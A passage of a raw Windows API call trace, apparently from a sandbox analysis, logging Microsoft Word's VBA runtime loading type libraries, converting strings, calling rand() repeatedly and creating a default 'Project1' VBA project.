office\\root\\office16\\msword.olb#microsoft word 16.0 object library", cchWideChar=142, lpMultiByteStr=0x2884e23b810, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", lpUsedDefaultChar=0x0) returned 142 [0068.226] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2884e23b810) [0068.226] wcsncpy_s (in: _Destination=0xbcb38f2070, _SizeInWords=0x108, _Source="*\\Z016168c314", _MaxCount=0x106 | out: _Destination="*\\Z016168c314") returned 0x0 [0068.226] CharLowerBuffW (in: lpsz="*\\Z016168c314", cchLength=0xd | out: lpsz="*\\z016168c314") returned 0xd [0068.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z016168c314", cchWideChar=14, lpMultiByteStr=0xbcb38f1fa0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z016168c314", lpUsedDefaultChar=0x0) returned 14 [0068.226] _wcsicmp (_String1="*\\Z016168c314", _String2="*\\Z016168c314") returned 0 [0068.226] IUnknown:AddRef (This=0x28857594370) returned 0x5 [0068.226] IUnknown:QueryInterface (in: This=0x28857594370, riid=0x7ff9bdefcce8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f2498 | out: ppvObject=0xbcb38f2498*=0x0) returned 0x80004002 [0068.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0xbcb38f2460, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5 [0068.226] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Word") returned 0x406bb5 [0068.226] IUnknown:Release (This=0x28857594370) returned 0x4 [0068.227] GetModuleFileNameW (in: hModule=0x7ff9bdb50000, lpFilename=0x7ff9bdf317e0, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0068.227] QueryPathOfRegTypeLib (in: guid=0x7ff9bdf060e0*(Data1=0x204ef, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), wMaj=0x4, wMin=0x0, lcid=0x409, lpbstrPathName=0xbcb38f2500 | out: lpbstrPathName=0xbcb38f2500) returned 0x0 [0068.229] LoadTypeLibEx (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL", regkind=0x2, pptlib=0xbcb38f2558*=0x0 | out: pptlib=0xbcb38f2558*=0x2885d4c6250) returned 0x0 [0068.242] IUnknown:AddRef (This=0x2885d4c6250) returned 0x2 [0068.242] ITypeLib:RemoteGetDocumentation (in: This=0x2885d4c6250, index=-1, refPtrFlags=0xb38f2578, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xbc00000000 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xbc00000000) returned 0x0 [0068.242] IUnknown:QueryInterface (in: This=0x2885d4c6250, riid=0x7ff9bdefb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f2368 | out: ppvObject=0xbcb38f2368*=0x0) returned 0x80004002 [0068.242] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f2360, pDummy=0xbcb38f2368 | out: ppTLibAttr=0xbcb38f2360, pDummy=0xbcb38f2368*=0x0) returned 0x0 [0068.242] ITypeLib:RemoteGetDocumentation (in: This=0x2885d4c6250, index=-1, refPtrFlags=0x0, pBstrName=0xbcb38f2358, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0xbcb38f2358*="Visual Basic For Applications", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0068.242] StringFromGUID2 (in: rguid=0x288574fe070*(Data1=0x204ef, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0xbcb38f2380, cchMax=39 | out: lpsz="{000204EF-0000-0000-C000-000000000046}") returned 39 [0068.242] _ultow_s (in: _Value=0x4, _Buffer=0xbcb38f22ca, _BufferCount=0x10, _Radix=16 | out: _Buffer="4") returned 0x0 [0068.242] _ultow_s (in: _Value=0x2, _Buffer=0xbcb38f22ce, _BufferCount=0xe, _Radix=16 | out: _Buffer="2") returned 0x0 [0068.242] _ultow_s (in: _Value=0x9, _Buffer=0xbcb38f22d2, _BufferCount=0xc, _Radix=16 | out: _Buffer="9") returned 0x0 [0068.242] wcscpy_s (in: _Destination=0x2885747f8c8, _SizeInWords=0x91, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0068.242] wcscpy_s (in: _Destination=0x2885747f8ce, _SizeInWords=0x8e, _Source="{000204EF-0000-0000-C000-000000000046}" | out: _Destination="{000204EF-0000-0000-C000-000000000046}") returned 0x0 [0068.242] wcscpy_s (in: _Destination=0x2885747f91a, _SizeInWords=0x68, _Source="#4.2#9#" | out: _Destination="#4.2#9#") returned 0x0 [0068.242] wcscpy_s (in: _Destination=0x2885747f928, _SizeInWords=0x61, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0068.242] wcscpy_s (in: _Destination=0x2885747f9ae, _SizeInWords=0x1e, _Source="Visual Basic For Applications" | out: _Destination="Visual Basic For Applications") returned 0x0 [0068.243] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0068.243] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885748abb0, cb=0x340) returned 0x2885d464f30 [0068.243] wcscpy_s (in: _Destination=0x2885d465078, _SizeInWords=0x91, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0068.243] ITypeLib:RemoteGetDocumentation (in: This=0x2885d4c6250, index=-1, refPtrFlags=0xb38f2478, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2885d62cb3c | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2885d62cb3c) returned 0x0 [0068.243] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VBA") returned 0x40e2f7 [0068.243] strcpy_s (in: _Dst=0xbcb38f2270, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0068.243] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f2270, cbMultiByte=4, lpWideCharStr=0xbcb38f20c0, cchWideChar=4 | out: lpWideCharStr="VBA") returned 4 [0068.243] IUnknown:AddRef (This=0x28857594370) returned 0x5 [0068.243] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="VBA", lHashVal=0x40e2f7, pfName=0xbcb38f2190, pBstrLibName=0xbcb38f20c0 | out: pfName=0xbcb38f2190*=0, pBstrLibName=0xbcb38f20c0) returned 0x0 [0068.245] IUnknown:Release (This=0x28857594370) returned 0x4 [0068.245] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc) returned 0x2885d51f640 [0068.245] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x288574fe610) [0068.245] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x288574fe0d0 [0068.245] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d51f640) [0068.246] wcsncpy_s (in: _Destination=0xbcb38f2070, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0068.246] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90 [0068.246] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x122) returned 0x2884e239470 [0068.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0x2884e239470, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145 [0068.246] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2884e239470) [0068.246] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d5455d0, cb=0x440) returned 0x2885d2671b0 [0068.246] wcscpy_s (in: _Destination=0x2885d2673f0, _SizeInWords=0x91, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0068.246] wcsncpy_s (in: _Destination=0xbcb38f20b0, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0068.246] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90 [0068.246] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x122) returned 0x2884e23cea0 [0068.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0x2884e23cea0, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145 [0068.246] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2884e23cea0) [0068.246] wcsncpy_s (in: _Destination=0xbcb38f2070, _SizeInWords=0x108, _Source="*\\Z016168c314", _MaxCount=0x106 | out: _Destination="*\\Z016168c314") returned 0x0 [0068.246] CharLowerBuffW (in: lpsz="*\\Z016168c314", cchLength=0xd | out: lpsz="*\\z016168c314") returned 0xd [0068.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z016168c314", cchWideChar=14, lpMultiByteStr=0xbcb38f1fa0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z016168c314", lpUsedDefaultChar=0x0) returned 14 [0068.246] _wcsicmp (_String1="*\\Z016168c314", _String2="*\\Z016168c314") returned 0 [0068.246] IUnknown:AddRef (This=0x2885d4c6250) returned 0x3 [0068.246] IUnknown:QueryInterface (in: This=0x2885d4c6250, riid=0x7ff9bdefcce8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f2498 | out: ppvObject=0xbcb38f2498*=0x0) returned 0x80004002 [0068.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0xbcb38f2460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0068.246] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VBA") returned 0x40e2f7 [0068.246] IUnknown:Release (This=0x2885d4c6250) returned 0x2 [0068.247] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e5940 [0068.247] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2885d5e5940) returned 0x0 [0068.247] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e5920 [0068.247] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2885d5e5920) returned 0x0 [0068.247] VirtualQuery (in: lpAddress=0xbcb38f4630, lpBuffer=0xbcb38f45f0, dwLength=0x30 | out: lpBuffer=0xbcb38f45f0*(BaseAddress=0xbcb38f4000, AllocationBase=0xbcb3800000, AllocationProtect=0x4, __alignment1=0xffff9785, RegionSize=0xc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0068.247] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e5b00 [0068.247] qsort (in: _Base=0x2885d5e5b00, _NumOfElements=0x0, _SizeOfElements=0x10, _PtFuncCompare=0x7ff9bde91bbc | out: _Base=0x2885d5e5b00) [0068.247] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d5e5b00) [0068.247] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2885d51fcc0 [0068.247] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc) returned 0x2885d51fc00 [0068.247] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2885d51fc00) returned 0xc [0068.247] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Win16") returned 0x407ec1 [0068.247] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Win32") returned 0x407f07 [0068.247] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Win64") returned 0x407f78 [0068.247] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Mac") returned 0x40b2b3 [0068.247] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VBA6") returned 0x4023ad [0068.247] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VBA7") returned 0x4023ae [0068.247] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d5e5920) [0068.247] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d5e5940) [0068.247] CoCreateGuid (in: pguid=0xbcb38f4738 | out: pguid=0xbcb38f4738*(Data1=0xf1ce5375, Data2=0x56f8, Data3=0x4703, Data4=([0]=0x82, [1]=0x5a, [2]=0x8d, [3]=0xd6, [4]=0x96, [5]=0xe9, [6]=0x6e, [7]=0x31))) returned 0x0 [0068.248] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x6b0) returned 0x2885d6302e0 [0068.248] srand (_Seed=0x5196) [0068.248] rand () returned 2707 [0068.248] rand () returned 5367 [0068.248] rand () returned 3107 [0068.248] rand () returned 25991 [0068.248] rand () returned 22224 [0068.248] rand () returned 7173 [0068.248] rand () returned 3305 [0068.248] rand () returned 5542 [0068.248] rand () returned 21093 [0068.248] rand () returned 7093 [0068.248] rand () returned 29645 [0068.248] rand () returned 30555 [0068.248] rand () returned 4452 [0068.248] rand () returned 15519 [0068.248] rand () returned 22682 [0068.248] rand () returned 20118 [0068.248] rand () returned 26125 [0068.248] rand () returned 28117 [0068.248] rand () returned 31912 [0068.248] rand () returned 27549 [0068.248] rand () returned 25247 [0068.248] rand () returned 12135 [0068.248] rand () returned 31572 [0068.248] rand () returned 27055 [0068.248] rand () returned 11630 [0068.248] rand () returned 26157 [0068.248] rand () returned 24237 [0068.248] rand () returned 16615 [0068.248] rand () returned 23350 [0068.248] rand () returned 7360 [0068.248] rand () returned 27760 [0068.248] rand () returned 12132 [0068.248] rand () returned 17327 [0068.248] rand () returned 21962 [0068.248] rand () returned 16183 [0068.248] rand () returned 15783 [0068.248] rand () returned 1121 [0068.248] rand () returned 21376 [0068.249] rand () returned 32749 [0068.249] rand () returned 25148 [0068.249] rand () returned 9658 [0068.249] rand () returned 30828 [0068.249] rand () returned 21381 [0068.249] rand () returned 2205 [0068.249] rand () returned 5726 [0068.249] rand () returned 9584 [0068.249] rand () returned 20715 [0068.249] rand () returned 32595 [0068.249] rand () returned 28862 [0068.249] rand () returned 14600 [0068.249] rand () returned 4923 [0068.249] rand () returned 4446 [0068.249] rand () returned 16108 [0068.249] rand () returned 5071 [0068.249] rand () returned 15410 [0068.249] rand () returned 20183 [0068.249] rand () returned 12462 [0068.249] rand () returned 17989 [0068.249] rand () returned 31458 [0068.249] rand () returned 18644 [0068.249] rand () returned 30673 [0068.249] rand () returned 19407 [0068.249] rand () returned 27305 [0068.249] rand () returned 17548 [0068.249] rand () returned 16063 [0068.249] rand () returned 30463 [0068.249] rand () returned 24163 [0068.249] rand () returned 10684 [0068.249] rand () returned 27988 [0068.249] rand () returned 29462 [0068.249] rand () returned 27615 [0068.249] rand () returned 12361 [0068.249] rand () returned 12270 [0068.249] rand () returned 32455 [0068.249] rand () returned 19344 [0068.249] rand () returned 4390 [0068.249] rand () returned 29891 [0068.249] rand () returned 17470 [0068.249] rand () returned 24709 [0068.249] rand () returned 15992 [0068.249] rand () returned 21368 [0068.250] rand () returned 29281 [0068.250] rand () returned 31899 [0068.250] rand () returned 26360 [0068.250] rand () returned 4847 [0068.250] rand () returned 31574 [0068.250] rand () returned 13554 [0068.250] rand () returned 18585 [0068.250] rand () returned 16736 [0068.250] rand () returned 7237 [0068.250] rand () returned 23197 [0068.250] rand () returned 5740 [0068.250] rand () returned 4779 [0068.250] rand () returned 4703 [0068.250] rand () returned 27550 [0068.250] rand () returned 30144 [0068.250] rand () returned 30956 [0068.250] rand () returned 8479 [0068.250] rand () returned 4113 [0068.250] rand () returned 22157 [0068.250] rand () returned 11088 [0068.250] rand () returned 19919 [0068.250] rand () returned 30631 [0068.250] rand () returned 11027 [0068.250] rand () returned 3880 [0068.250] rand () returned 29775 [0068.250] rand () returned 11094 [0068.250] rand () returned 17086 [0068.250] rand () returned 14140 [0068.250] rand () returned 6418 [0068.250] rand () returned 10063 [0068.250] rand () returned 19533 [0068.250] rand () returned 28002 [0068.250] rand () returned 7273 [0068.250] rand () returned 20785 [0068.250] rand () returned 17203 [0068.250] rand () returned 31311 [0068.250] rand () returned 13060 [0068.250] rand () returned 7804 [0068.250] rand () returned 19517 [0068.250] rand () returned 8108 [0068.250] rand () returned 18357 [0068.250] rand () returned 32584 [0068.250] rand () returned 17782 [0068.251] rand () returned 30829 [0068.251] rand () returned 10872 [0068.251] rand () returned 24887 [0068.251] rand () returned 3400 [0068.251] rand () returned 13150 [0068.251] rand () returned 12465 [0068.251] rand () returned 24232 [0068.251] rand () returned 17635 [0068.251] rand () returned 23550 [0068.251] rand () returned 10932 [0068.251] rand () returned 28205 [0068.251] rand () returned 4579 [0068.251] rand () returned 9617 [0068.251] rand () returned 21130 [0068.251] rand () returned 9792 [0068.251] rand () returned 9004 [0068.251] rand () returned 27761 [0068.251] rand () returned 6131 [0068.251] rand () returned 26929 [0068.251] rand () returned 32025 [0068.251] rand () returned 24997 [0068.251] rand () returned 28071 [0068.251] rand () returned 3427 [0068.251] rand () returned 20695 [0068.251] rand () returned 5300 [0068.251] rand () returned 31713 [0068.251] rand () returned 21944 [0068.251] rand () returned 25355 [0068.251] rand () returned 20411 [0068.251] rand () returned 23582 [0068.251] rand () returned 20042 [0068.251] rand () returned 17851 [0068.251] rand () returned 31166 [0068.251] rand () returned 16930 [0068.251] rand () returned 24924 [0068.251] rand () returned 26987 [0068.251] rand () returned 29500 [0068.251] rand () returned 13885 [0068.251] rand () returned 14480 [0068.251] rand () returned 18822 [0068.251] rand () returned 8454 [0068.251] rand () returned 17612 [0068.251] rand () returned 15962 [0068.252] rand () returned 14336 [0068.252] rand () returned 6481 [0068.252] rand () returned 18178 [0068.252] rand () returned 21428 [0068.252] rand () returned 3130 [0068.252] rand () returned 9993 [0068.252] rand () returned 10473 [0068.252] rand () returned 3603 [0068.252] rand () returned 14630 [0068.252] rand () returned 5992 [0068.252] rand () returned 20643 [0068.252] rand () returned 4506 [0068.252] rand () returned 3755 [0068.252] rand () returned 1480 [0068.252] rand () returned 2806 [0068.252] rand () returned 23438 [0068.252] rand () returned 10827 [0068.252] rand () returned 6581 [0068.252] rand () returned 8456 [0068.252] rand () returned 4363 [0068.252] rand () returned 23299 [0068.252] rand () returned 27463 [0068.252] rand () returned 31590 [0068.252] rand () returned 9717 [0068.252] rand () returned 31858 [0068.252] rand () returned 430 [0068.252] rand () returned 30283 [0068.252] rand () returned 28720 [0068.252] rand () returned 3390 [0068.253] rand () returned 8207 [0068.253] rand () returned 19232 [0068.253] rand () returned 31508 [0068.253] rand () returned 1204 [0068.253] rand () returned 21647 [0068.253] rand () returned 13119 [0068.253] rand () returned 12059 [0068.253] rand () returned 11182 [0068.253] rand () returned 32173 [0068.253] rand () returned 10236 [0068.253] rand () returned 8669 [0068.253] rand () returned 31930 [0068.253] rand () returned 14804 [0068.253] rand () returned 25574 [0068.253] rand () returned 8767 [0068.253] rand () returned 20344 [0068.253] rand () returned 30000 [0068.253] rand () returned 2378 [0068.253] rand () returned 21735 [0068.253] rand () returned 21316 [0068.253] rand () returned 2498 [0068.253] rand () returned 4601 [0068.253] rand () returned 29939 [0068.253] rand () returned 7445 [0068.253] rand () returned 9647 [0068.253] rand () returned 27723 [0068.253] rand () returned 3306 [0068.253] rand () returned 19621 [0068.253] rand () returned 27614 [0068.253] rand () returned 26980 [0068.253] rand () returned 15346 [0068.253] rand () returned 3283 [0068.253] rand () returned 705 [0068.253] rand () returned 24758 [0068.253] rand () returned 23364 [0068.253] rand () returned 29509 [0068.253] rand () returned 1395 [0068.253] rand () returned 11463 [0068.253] rand () returned 6110 [0068.253] rand () returned 849 [0068.253] rand () returned 2820 [0068.253] rand () returned 25909 [0068.253] rand () returned 21623 [0068.253] rand () returned 22558 [0068.254] rand () returned 14353 [0068.254] rand () returned 31223 [0068.254] rand () returned 26552 [0068.254] rand () returned 14854 [0068.254] rand () returned 3735 [0068.254] rand () returned 5093 [0068.254] rand () returned 2729 [0068.254] rand () returned 9023 [0068.254] rand () returned 28680 [0068.254] CoCreateGuid (in: pguid=0x288576b7e88 | out: pguid=0x288576b7e88*(Data1=0xb7453af3, Data2=0xadd, Data3=0x4cc0, Data4=([0]=0xa6, [1]=0xb7, [2]=0x77, [3]=0x28, [4]=0x8f, [5]=0x62, [6]=0x24, [7]=0xeb))) returned 0x0 [0068.254] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x0) returned 0x2885d5e5ac0 [0068.254] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2885d263550 [0068.254] strcpy_s (in: _Dst=0x288576b7ee8, _DstSize=0x1, _Src="" | out: _Dst="") returned 0x0 [0068.254] LoadStringA (in: hInstance=0x28857830000, uID=0x32f3, lpBuffer=0x2885bb69dc8, cchBufferMax=2043 | out: lpBuffer="Project") returned 0x7 [0068.264] wsprintfA (in: param_1=0x2885bb69dcf, param_2="%d" | out: param_1="1") returned 1 [0068.264] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885d41aae0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0068.264] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885d41aae0, cbMultiByte=-1, lpWideCharStr=0x2884e19c3a8, cchWideChar=8 | out: lpWideCharStr="Project") returned 8 [0068.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project", cchWideChar=-1, lpMultiByteStr=0xbcb38f4bb0, cbMultiByte=2044, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project", lpUsedDefaultChar=0x0) returned 8 [0068.264] lstrlenA (lpString="Project") returned 7 [0068.264] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="Project", cchCount1=-1, lpString2="Project1", cchCount2=-1) returned 1 [0068.264] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Project1") returned 0x40170a [0068.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=9, lpMultiByteStr=0xbcb38f5110, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0068.264] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Project1") returned 0x40170a [0068.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=9, lpMultiByteStr=0xbcb38f4fd0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0068.264] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Project1") returned 0x40170a [0068.264] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Project1") returned 0x40170a [0068.264] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2885d51f5c0 [0068.265] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x288574fe0d0) [0068.265] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2884c3ab930 [0068.265] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2884c3ab930, cb=0x44) returned 0x2885d5fe670 [0068.265] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d51f5c0) [0068.265] wcsncpy_s (in: _Destination=0xbcb38f4dd0, _SizeInWords=0x108, _Source="*\\Z016168c314", _MaxCount=0x106 | out: _Destination="*\\Z016168c314") returned 0x0 [0068.265] CharLowerBuffW (in: lpsz="*\\Z016168c314", cchLength=0xd | out: lpsz="*\\z016168c314") returned 0xd [0068.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z016168c314", cchWideChar=14, lpMultiByteStr=0xbcb38f4d00, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z016168c314", lpUsedDefaultChar=0x0) returned 14 [0068.265] _wcsicmp (_String1="*\\Z016168c314", _String2="*\\Z016168c314") returned 0 [0068.265] strcpy_s (in: _Dst=0x288576b7ef8, _DstSize=0x9, _Src="Project1" | out: _Dst="Project1") returned 0x0 [0068.265] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0068.265] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2884e19c3a8, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0068.265] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0068.265] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2884e19c3a8, cbMultiByte=9, lpWideCharStr=0x288574fe078, cchWideChar=9 | out: lpWideCharStr="Project1") returned 9 [0068.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=-1, lpMultiByteStr=0xbcb38f4ab0, cbMultiByte=2043, 